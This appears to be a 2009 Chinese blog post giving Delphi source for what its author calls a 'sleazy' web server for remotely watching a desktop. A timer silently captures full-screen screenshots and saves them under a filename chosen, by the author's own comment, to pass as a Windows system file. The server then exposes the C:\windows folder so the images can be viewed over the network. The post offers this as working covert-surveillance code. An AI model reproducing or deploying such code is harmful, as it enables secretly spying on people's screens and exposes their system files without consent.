http://www.birdol.com/cainiaobiancheng/238.html

delphi之猥琐的webserver实现

菜鸟编程  十五楼的鸟儿  7年前 (2009-01-01)  1266浏览  0评论

简单的webserver而已,不过实现的功能有些猥琐,可以在远程监控你的桌面一举一动~~
代码如下:
[code=delphi]unit Main;

interface

uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 ActnList, StdCtrls, IdComponent, IdTCPServer, IdHTTPServer, Buttons,
 ComCtrls, IdGlobal, IdBaseComponent, IdThreadMgr, IdThreadMgrDefault, syncobjs,
 IdThreadMgrPool, ExtCtrls, IdIntercept, IdIOHandlerSocket,
 IdCustomHTTPServer, idSocketHandle,shellapi, Winsock, jpeg;
{偶承认这里是乱来的,我也不知道都use了啥,填了一堆...-_-!}
type
 TfmHTTPServerMain = class(TForm)
   HTTPServer: TIdHTTPServer;
   edPort: TEdit;
   cbActive: TCheckBox;
   edRoot: TEdit;
   LabelRoot: TLabel;
   Label1: TLabel;
   Button1: TButton;
   Label2: TLabel;
   Timer1: TTimer;
   procedure acActivateExecute(Sender: TObject);
   procedure HTTPServerCommandGet(AThread: TIdPeerThread;
     RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure Button1Click(Sender: TObject);
   procedure Timer1Timer(Sender: TObject);

private
   UILock: TCriticalSection;
   { Private declarations }
 public
   { Public declarations }
   EnableLog: boolean;
   MIMEMap: TIdMIMETable;
 end;

var
 fmHTTPServerMain: TfmHTTPServerMain;
   jiance:Boolean;

implementation

uses FileCtrl, IdStack;

{$R *.DFM}

function GetLocalIP: string;
type
  TaPInAddr = array[0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  i: integer;
  GInitData: TWSADATA;
begin
  wsastartup($101, GInitData);
  result := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if not assigned(phe) then
    exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  i := 0;
  while pptr^[I] <> nil do
  begin
    result := {Result +}StrPas(inet_ntoa(pptr^[I]^)) + ',';
    inc(i);
  end;
  Delete(Result, Length(Result), 1);
  wsacleanup;
end;{获取IP的函数}

procedure TfmHTTPServerMain.acActivateExecute(Sender: TObject);
var
 Binding : TIdSocketHandle;

begin

if jiance  then
 begin
   cbActive.Checked:=True;
   jiance:=False;
 end
  else
  begin
   cbActive.Checked:= False;
   jiance:=True;
  end;
 if not HTTPServer.Active then
 begin
   HTTPServer.Bindings.Clear;
   Binding := HTTPServer.Bindings.Add;
   Binding.Port := StrToIntDef(edPort.text, 80);
   Binding.IP := GetLocalIP;
    caption := '已启动';
 end;

if not DirectoryExists(edRoot.text) then
 begin
   cbActive.Checked:= False;
 end
 else
 begin
   if cbActive.Checked then
   begin
     try
       HTTPServer.Active := true;
     except
       on e: exception do
       begin
         cbActive.Checked := False;
       end;
     end;
   end
   else
   begin
     HTTPServer.Active := false;
      caption := '未启动';
     // SSL stuff
     HTTPServer.Intercept := nil;
   end;
 end;
 edPort.Enabled := not cbActive.Checked;
 edRoot.Enabled := not cbActive.Checked;
end;

procedure TfmHTTPServerMain.HTTPServerCommandGet(AThread: TIdPeerThread;
 RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);

var
 LocalDoc: string;
 ByteSent: Cardinal;

begin
   LocalDoc := ExpandFilename(edRoot.text + RequestInfo.Document);
   if not FileExists(LocalDoc) then
   begin
     LocalDoc := ExpandFileName(LocalDoc);
   end;
   if FileExists(LocalDoc) then
 begin
       if AnsiSameText(RequestInfo.Command, 'HEAD') then
       begin
          ResponseInfo.ResponseNo := 200;
          ResponseInfo.ContentText := '

'+''+'';
       end
       else
       begin
         ByteSent := HTTPServer.ServeFile(AThread, ResponseInfo, LocalDoc);
        end;
 end
 else
   begin
     ResponseInfo.ResponseNo := 404;
     ResponseInfo.ContentText := '

'+''+'';
{edPort.Text是你设置的端口,windows目录下是有FeatherTexture.bmp的,为了掩人耳目,弄个差不多的FeatherTexture.jpeg~}
 end;
{这个webserver貌似还有些问题,结构是我从indy的demo上扒下来的,貌似每次返回的都是404代码,所以偶为了防止出问题,采用了上面那段代码,就算是404,404页面也是有图片的,嘿嘿~~}
end;

procedure TfmHTTPServerMain.FormCreate(Sender: TObject);
begin
 jiance:=True;
 UILock := TCriticalSection.Create;
 MIMEMap := TIdMIMETable.Create(true);
   edRoot.text := 'C:\windows';
 if HTTPServer.active then  caption := '已启动' else caption := '未启动';
 Label2.Caption:= '当前IP:'+GetLocalIP;
end;

procedure TfmHTTPServerMain.FormDestroy(Sender: TObject);
begin
 MIMEMap.Free;
 UILock.Free;
end;

procedure TfmHTTPServerMain.Button1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('http://'+GetLocalIP+':'+edPort.Text),nil,nil,sw_shownormal);
end;

procedure TfmHTTPServerMain.Timer1Timer(Sender: TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
MyJPEG : TJPEGImage;
begin
Fullscreen:=TBitmap.Create;
Fullscreen.Width:=screen.width;
Fullscreen.Height:=screen.Height;
DC:=GetDC(0);
FullscreenCanvas:=TCanvas.Create;
FullscreenCanvas.Handle:=DC;
Fullscreen.Canvas.CopyRect(Rect(0,0,screen.Width,screen.Height),
fullscreenCanvas,Rect(0,0,Screen.Width,Screen.Height));
FullscreenCanvas.Free;
ReleaseDC(0,DC);
myjpeg:= TJPEGImage.Create;
myjpeg.Assign(Fullscreen);
myjpeg.CompressionQuality:=100; //压缩比例,100是最清晰状态。
myjpeg.Compress;
try
myjpeg.SaveToFile('c:\windows\FeatherTexture.JPEG');//保存路径,可以随便选,但是一定要和上面的webserver路径吻合。
myjpeg.Free;
fullscreen.free;
except
end;
end;

end.

[/code]
截个图瞧瞧:

转载请注明:鸟儿博客 » delphi之猥琐的webserver实现

delphi之猥琐的webserver实现的更多相关文章

  1. PHP后门新玩法:一款猥琐的PHP后门分析

    0x00 背景 近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣.接下来就 ...

  2. Finding Palindromes - 猥琐的字符串(Manacher+trie)

    题目大意:有 N 个字符串,所有的字符串长度不超过 200W 任意俩俩字符串可以自由组合,问组合的字符串是回文串的个数有多少个?   分析:这是一个相当猥琐的字符串处理,因为没有说单个的字符串最少多长 ...

  3. 猥琐的wordpress后门分享

    https://www.t00ls.net/thread-37312-1-1.html 一个可以自动调用管理员帐号登录wordpress后台的方法. <?php require('../../. ...

  4. webshell + xss 猥琐刷某投票

    团队成员发来一个投票的地址,需要撸某某网站的一个某某投票,果断看了下,ip限制了,看到post 数据包 额 随便找个大流量shell post 数据 Js代码代码 <script type=&q ...

  5. Potato(邪恶土豆)–windows全版本猥琐提权

    工作原理: Potato利用已知的Windows中的问题,以获得本地权限提升,即NTLM中继(特别是基于HTTP > SMB中继)和NBNS欺骗.使用下面介绍的技术,它有可能为一个非特权用户获得 ...

  6. 猥琐百度杯猥琐CTF

    其实不难,但是作为我这个代码菜鸡+脑洞菜鸡+黑阔菜鸡而言确实挺难. 题目源码: <?php error_reporting(0); session_start(); require('./fla ...

  7. CTF之文件包含的猥琐思路

    From: i春秋 百度杯”CTF 一: <?php include "flag.php"; //包含flag.php这个文件 $a = @$_REQUEST['hello' ...

  8. 1010 Radix:猥琐的测试数据

    谨以此题纪念边界测试数据浪费了我多少时间:https://pintia.cn/problem-sets/994805342720868352/problems/994805507225665536 # ...

  9. 猥琐发育,3月份Java干货已到达战场!

    时间真的过得很快,又是月底了,又到了我们总结这个月干货的时候了.3月份这个月我们都带来了哪些干货呢?我们一起回顾一下. 坑爹,手机端链接点不开,请切换到电脑端或者关注我们的微信公众号进行阅读. 扫描关 ...

随机推荐

  1. java 接口 以及 与抽象类的区别

    狭义概念 : Java 中的 interface 广义概念 : 对外提供规则的都是 接口 接口的定义方式 :  interface 接口名 { } 用类实现接口:       class 类名 imp ...

  2. 简单易用的leetcode开发测试工具(npm)

    描述 最近在用es6解leetcode,当问题比较复杂时,有可能修正了新的错误,却影响了前面的流程.要用通用的测试工具,却又有杀鸡用牛刀的感觉,所以就写了个简单易用的leetcode开发测试工具,分享 ...

  3. Python 特性?

    1.Python 是强语言类型还是弱语言类型? Python 是强类型的动态脚本语言.强类型:不允许不同类型相加.动态:不使用显示数据类型声明,且确定一个变量的类型是在第一次给它赋值的时候.脚本语言: ...

  4. selenium 定位方式

    在使用selenium webdriver进行元素定位时,通常使用findElement或findElements方法结合By类返回的元素句柄来定位元素.其中By类的常用定位方式共八种,现分别介绍如下 ...

  5. C# http post请求帮助类

    using System; using System.Collections.Specialized; using System.IO; using System.Net; using System. ...

  6. JVM虚拟机基础知识

    1. Java的发展 Java之父:詹姆斯·高斯林 2. Java的技术体系 Java 程序设计语言 JVM class文件格式 编译器 Java API 第三方Java类库 三个版本: Java S ...

  7. VMWare15 安装 Mac OS 系统

    文章目录VMWare15 安装 Mac OS 系统安装环境工具准备准备工作MAC虚拟机设置启动MAC前准备工作安装系统安装VMware Tool注意事项参考链接安装环境WIN10VMware Work ...

  8. mybatis的<用<![CDATA[]] 忽略解析

    1 CDATA 术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data). 在 XML 元素中,"<" 和 &quo ...

  9. [简单到爆]eclipse-jee-neon的下载和安装

    Eclipse的下载安装: 访问https://www.eclipse.org/downloads/eclipse-packages/ 选择Eclipse IDE for Java EE Develo ...

  10. 06.Linux-RedHat系统本地yum源配置

    RedHat系统 1.挂载镜像光盘[root@localhost ~]# mount /dev/sr0 /media/cdrom/ 2.创建本地yum源仓库[root@localhost ~]# cd ...